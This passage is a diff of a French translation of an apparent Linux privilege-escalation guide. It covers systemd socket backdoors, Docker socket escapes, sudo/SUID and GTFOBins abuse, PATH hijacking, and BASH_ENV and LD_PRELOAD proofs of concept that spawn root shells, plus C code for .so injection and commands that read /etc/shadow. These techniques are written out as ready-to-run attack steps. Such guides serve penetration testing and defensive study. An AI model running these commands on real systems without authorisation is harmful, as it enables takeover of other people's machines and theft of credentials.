n'est pas ".timer". Si non spécifié, cette valeur par défaut correspond à un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe. -Therefore, to abuse this permission you would need to: +Par conséquent, pour abuser de cette permission vous devrez : -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +- Trouver une unité systemd (comme une `.service`) qui **exécute un binaire modifiable** +- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous avez des **privilèges d'écriture** sur le **PATH de systemd** (pour usurper cet exécutable) **En savoir plus sur les timers avec `man systemd.timer`.** -### **Activation d'un timer** +### **Activation du timer** -Pour activer un timer, vous avez besoin des privilèges root et d'exécuter : +Pour activer un timer vous avez besoin des privilèges root et d'exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Notez que le **timer** est **activé** en créant un lien symbolique vers lui dans `/etc/systemd/system/.wants/.timer` +Remarque : le **timer** est **activé** en créant un symlink vers lui dans `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou entre machines dans des modèles client-serveur. Ils utilisent des fichiers descripteurs Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. +Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou entre machines dans des modèles client-serveur. Ils utilisent des fichiers de descripteurs Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. -Les sockets peuvent être configurées à l'aide de fichiers `.socket`. +Les sockets peuvent être configurés à l'aide de fichiers `.socket`. -**En savoir plus sur les sockets avec `man systemd.socket`.** À l'intérieur de ce fichier, plusieurs paramètres intéressants peuvent être configurés : +**En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffèrent mais, en résumé, elles servent à **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) -- `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **false**, tous les sockets en écoute sont **passés à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets de datagram et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut : false**. Pour des raisons de performance, il est recommandé de développer de nouveaux daemons uniquement d'une manière compatible avec `Accept=no`. -- `ExecStartPre`, `ExecStartPost` : Acceptent une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs en écoute soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments du processus. -- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs en écoute soient **fermés** et supprimés, respectivement. -- `Service` : Spécifie le nom de l'unité de **service** à **activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ces options diffèrent, mais en résumé elles servent à **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'adresse IPv4/6 et/ou le numéro de port à écouter, etc.) +- `Accept`: Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **false**, tous les sockets d'écoute sont **passés à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les datagram sockets et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut : false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux daemons uniquement d'une manière adaptée à `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Acceptent une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** la création et le binding des **sockets**/FIFOs, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments du processus. +- `ExecStopPre`, `ExecStopPost`: Commandes supplémentaires qui sont **exécutées avant** ou **après** la fermeture et la suppression des **sockets**/FIFOs, respectivement. +- `Service`: Spécifie le nom de l'unité **service** **à activer** sur le **trafic entrant**. Cette option n'est autorisée que pour les sockets avec Accept=no. Par défaut, elle désigne le service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. ### Fichiers .socket modifiables -Si vous trouvez un fichier `.socket` **écrivables**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant la création du socket. Par conséquent, vous **devrez probablement attendre que la machine soit redémarrée.** -_Note : le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté_ +Si vous trouvez un fichier `.socket` **modifiable**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la backdoor sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ +_Notez que le système doit utiliser cette configuration de fichier socket, sinon la backdoor ne sera pas exécutée_ ### Sockets modifiables -Si vous **identifiez un socket écrivable** (_ici on parle des Unix Sockets et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec ce socket et éventuellement exploiter une vulnérabilité. +Si vous **identifiez un socket modifiable** (_ici on parle des Unix Sockets et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec ce socket et éventuellement exploiter une vulnérabilité. ### Énumérer les Unix Sockets ```bash @@ -527,7 +528,8 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exemple d'exploitation:** +**Exemple d'exploitation :** + {{#ref}} socket-command-injection.md @@ -535,15 +537,15 @@ socket-command-injection.md ### HTTP sockets -Notez qu'il peut y avoir des **sockets à l'écoute pour des requêtes HTTP** (_Je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec: +Notez qu'il peut y avoir certains **sockets listening for HTTP** requests (_je ne parle pas des .socket files mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si le socket **répond à une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. +Si le socket **répond à une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploit some vulnerability**. ### Socket Docker accessible en écriture -Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à privilege escalation. Voici une répartition de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. +Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est accessible en écriture par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à privilege escalation. Voici une répartition de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. #### **Privilege Escalation with Docker CLI** @@ -552,31 +554,31 @@ Si vous avez un accès en écriture au socket Docker, vous pouvez escalate privi docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ces commandes permettent d'exécuter un conteneur avec un accès root au système de fichiers de l'hôte. +Ces commandes vous permettent d'exécuter un container avec un accès root au système de fichiers de l'hôte. -#### **Utilisation directe du Docker API** +#### **Utiliser Docker API directement** -Dans les cas où le Docker CLI n'est pas disponible, le docker socket peut néanmoins être manipulé via le Docker API et des commandes `curl`. +Dans les cas où la CLI Docker n'est pas disponible, le Docker socket peut quand même être manipulé en utilisant le Docker API et des commandes `curl`. -1. **List Docker Images:** Récupérer la liste des images disponibles. +1. **List Docker Images:** Récupérez la liste des images disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. +2. **Create a Container:** Envoyez une requête pour créer un container qui monte le répertoire racine du système hôte. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Démarrer le conteneur nouvellement créé : +Démarrez le container nouvellement créé : ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Utilisez `socat` pour établir une connexion au conteneur, permettant l'exécution de commandes à l'intérieur de celui-ci. +3. **Attach to the Container:** Utilisez `socat` pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -586,11 +588,11 @@ Connection: Upgrade Upgrade: tcp ``` -Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès root au système de fichiers de l'hôte. +Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes directement dans le container avec un accès root au système de fichiers de l'hôte. ### Autres -Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **inside the group `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -599,18 +601,18 @@ Check **more ways to break out from docker or abuse it to escalate privileges** docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Escalade de privilèges Containerd (ctr) -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** escalade de privilèges -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} @@ -619,13 +621,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un système sophistiqué de communication inter-processus (IPC) qui permet aux applications d'interagir et de partager des données de manière efficace. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différents modes de communication entre applications. +D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, supportant des IPC basiques qui améliorent l'échange de données entre processus, rappelant des sockets de domaine UNIX étendus. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants du système. Par exemple, un signal provenant d'un démon Bluetooth concernant un appel entrant peut demander à un lecteur multimédia de se mettre en sourdine, améliorant ainsi l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus auparavant complexes. +Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre les processus, rappelant des **enhanced UNIX domain sockets**. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants système. Par exemple, un signal d'un daemon Bluetooth annonçant un appel entrant peut inciter un lecteur musical à couper le son, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes. -D-Bus fonctionne sur un modèle d'autorisation allow/deny, gérant les permissions de messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus et peuvent potentiellement permettre une privilege escalation via l'exploitation de ces permissions. +D-Bus fonctionne selon un **allow/deny model**, gérant les permissions de messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilèges via l'exploitation de ces permissions. -Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root pour posséder, envoyer et recevoir des messages depuis `fi.w1.wpa_supplicant1`. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages depuis `fi.w1.wpa_supplicant1`. Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. ```xml @@ -636,7 +638,7 @@ Les politiques sans utilisateur ou groupe spécifié s'appliquent universellemen ``` -**Apprenez comment enumerate et exploit une communication D-Bus ici :** +**Apprenez comment énumérer et exploiter une communication D-Bus ici :** {{#ref}} @@ -645,9 +647,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Réseau** -Il est toujours intéressant d'enumerate le réseau et de déterminer la position de la machine. +Il est toujours utile d'énumérer le réseau et de déterminer la position de la machine. -### Générique enumeration +### Énumération générique ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -670,7 +672,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Ports ouverts +### Open ports Vérifiez toujours les services réseau en cours d'exécution sur la machine avec lesquels vous n'avez pas pu interagir avant d'y accéder : ```bash @@ -679,15 +681,15 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez sniff le trafic. Si c'est le cas, vous pourriez être en mesure de récupérer des identifiants. +Vérifiez si vous pouvez sniff le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des credentials. ``` timeout 1 tcpdump ``` ## Utilisateurs -### Énumération générique +### Énumération Générique -Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont sur le système, lesquels peuvent **login** et lesquels ont des **root privileges** : +Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont sur le système, lesquels peuvent **se connecter** et lesquels ont des **privilèges root** : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -711,12 +713,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader leurs privilèges. Plus d'infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader leurs privilèges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** ### Groupes -Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des privilèges root : +Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder les privilèges root : {{#ref}} @@ -725,7 +727,7 @@ interesting-groups-linux-pe/ ### Presse-papiers -Vérifiez s'il y a quelque chose d'intéressant dans le presse-papiers (si possible) +Vérifiez si quelque chose d'intéressant se trouve dans le presse-papiers (si possible) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -742,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Mots de passe connus -Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chaque user** en utilisant ce mot de passe. +Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chaque utilisateur** en utilisant ce mot de passe. ### Su Brute -Si le fait de générer beaucoup de bruit ne vous dérange pas et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez tenter de brute-forcer un user en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` tente aussi de brute-forcer des users. +Si vous ne craignez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de brute-force des utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` tente aussi de brute-force des utilisateurs. ## Abus du $PATH inscriptible ### $PATH -Si vous constatez que vous pouvez **écrire dans un dossier du $PATH** vous pourrez peut-être escalader les privilèges en **créant une backdoor dans le dossier inscriptible** avec le nom d'une commande qui sera exécutée par un autre user (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. +Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être capable d'escalader les privilèges en **créant une backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. ### SUDO and SUID -Vous pourriez être autorisé à exécuter certaines commandes en utilisant sudo ou elles pourraient avoir le suid bit. Vérifiez-le en utilisant: +Vous pourriez être autorisé à exécuter certaines commandes via sudo ou celles-ci pourraient avoir le bit suid. Vérifiez-le en utilisant: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines **commandes inattendues permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : +Certaines commandes **inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -773,39 +775,39 @@ less>! ``` ### NOPASSWD -La configuration sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. +La configuration sudo peut permettre à un utilisateur d'exécuter certaines commandes avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root` ; il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire `root` ou en appelant `sh`. +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution de quelque chose : +Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution d'une commande : ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : +Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** au **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV préservé via sudo env_keep → root shell +### BASH_ENV conservé via sudo env_keep → root shell -Si sudoers préserve `BASH_ENV` (par ex., `Defaults env_keep+="ENV BASH_ENV"`), vous pouvez exploiter le comportement de démarrage non interactif de Bash pour exécuter du code arbitraire en tant que root lors de l'appel d'une commande autorisée. +Si sudoers conserve `BASH_ENV` (par ex., `Defaults env_keep+="ENV BASH_ENV"`), vous pouvez tirer parti du comportement de démarrage non interactif de Bash pour exécuter du code arbitraire en tant que root lors de l'appel d'une commande autorisée. -- Why it works: Pour les shells non interactifs, Bash évalue `$BASH_ENV` et source ce fichier avant d'exécuter le script ciblé. De nombreuses règles sudo autorisent l'exécution d'un script ou d'un wrapper shell. Si `BASH_ENV` est préservé par sudo, votre fichier est sourcé avec les privilèges root. +- Why it works: Pour les shells non interactifs, Bash évalue `$BASH_ENV` et source ce fichier avant d'exécuter le script ciblé. De nombreuses règles sudo permettent d'exécuter un script ou un wrapper shell. Si `BASH_ENV` est conservé par sudo, votre fichier est sourcé avec les privilèges root. -- Prérequis : -- Une règle sudo que vous pouvez exécuter (n'importe quelle cible qui invoque `/bin/bash` de manière non interactive, ou n'importe quel script bash). -- `BASH_ENV` présent dans `env_keep` (vérifiez avec `sudo -l`). +- Prérequis: +- Une règle sudo que vous pouvez exécuter (n'importe quelle cible qui invoque `/bin/bash` de manière non interactive, ou tout script bash). +- `BASH_ENV` présent dans `env_keep` (vérifier avec `sudo -l`). -- PoC : +- PoC: ```bash cat > /dev/shm/shell.sh <<'EOF' #!/bin/bash @@ -815,14 +817,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Durcissement : -- Supprimer `BASH_ENV` (et `ENV`) de `env_keep`, préférer `env_reset`. -- Éviter les shell wrappers pour les commandes autorisées par sudo ; utiliser des binaires minimaux. -- Envisager la journalisation I/O de sudo et des alertes lorsque des env vars préservées sont utilisées. +- Hardening: +- Supprimez `BASH_ENV` (et `ENV`) de `env_keep`, privilégiez `env_reset`. +- Évitez les wrappers de shell pour les commandes autorisées par sudo ; utilisez des binaires minimaux. +- Envisagez la journalisation I/O et les alertes pour sudo lorsque des variables d'environnement préservées sont utilisées. -### Contournement de l'exécution sudo par des chemins +### Sudo execution bypassing paths -**Accéder** pour lire d'autres fichiers ou utiliser des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Aller** lire d'autres fichiers ou utiliser des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -832,14 +834,14 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Si un **wildcard** est utilisé (\*), c'est encore plus facile: +Si un **wildcard** est utilisé (\*), c'est encore plus facile : ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Contremesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary sans chemin de commande Si la **permission sudo** est accordée pour une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH ```bash @@ -847,15 +849,15 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans préciser son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**). +Cette technique peut également être utilisée si un **suid** binary **exécute une autre commande sans préciser son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un SUID étrange)**). [Payload examples to execute.](payloads-to-execute.md) -### Binaire SUID avec chemin de commande +### SUID binary avec chemin de commande -Si le **suid** binaire **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer de **exporter une fonction** nommée comme la commande que le fichier suid appelle. +Si le **suid** binary **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer d'**exporter une fonction** portant le nom de la commande que le fichier suid appelle. -Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de créer la fonction et de l'exporter : +Par exemple, si un suid binary appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -864,14 +866,14 @@ Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so) à être chargées par le loader avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (fichiers .so) à charger par le loader avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est appelé préchargement d'une bibliothèque. Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : -- Le loader ignore **LD_PRELOAD** pour les exécutables où l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). -- Pour les exécutables suid/sgid, seules les bibliothèques dans des chemins standard qui sont elles-mêmes suid/sgid sont préchargées. +- Le loader ignore **LD_PRELOAD** pour les exécutables dont l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). +- Pour les exécutables suid/sgid, seules les bibliothèques situées dans des chemins standard et qui sont elles-mêmes suid/sgid sont préchargées. -Une élévation de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la déclaration **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, pouvant conduire à l'exécution de code arbitraire avec des privilèges élevés. +L'escalade de privilèges peut se produire si vous pouvez exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la mention **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être prise en compte même lorsque des commandes sont exécutées avec `sudo`, ce qui peut conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` @@ -893,12 +895,12 @@ Ensuite, **compilez-le** en utilisant : cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Enfin, **escalate privileges** en cours d'exécution +Enfin, **escalate privileges** en exécutant ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Une privesc similaire peut être exploitée si l'attaquant contrôle la env variable **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques seront recherchées. +> Un privesc similaire peut être abusé si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques seront recherchées. ```c #include #include @@ -918,15 +920,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### Binaire SUID – .so injection +### SUID Binary – .so injection -Lorsqu'on rencontre un binaire ayant les permissions **SUID** et qui semble inhabituel, il est conseillé de vérifier s'il charge correctement les fichiers **.so**. Ceci peut être vérifié en exécutant la commande suivante : +Lorsque vous rencontrez un binaire avec les permissions **SUID** qui semble inhabituel, il est recommandé de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Par exemple, rencontrer une erreur telle que _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère une possibilité d'exploitation. +Par exemple, la présence d'une erreur telle que _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère une possibilité d'exploitation. -Pour exploiter cela, on procéderait en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : +Pour l'exploiter, on créerait un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -937,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. +Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions des fichiers 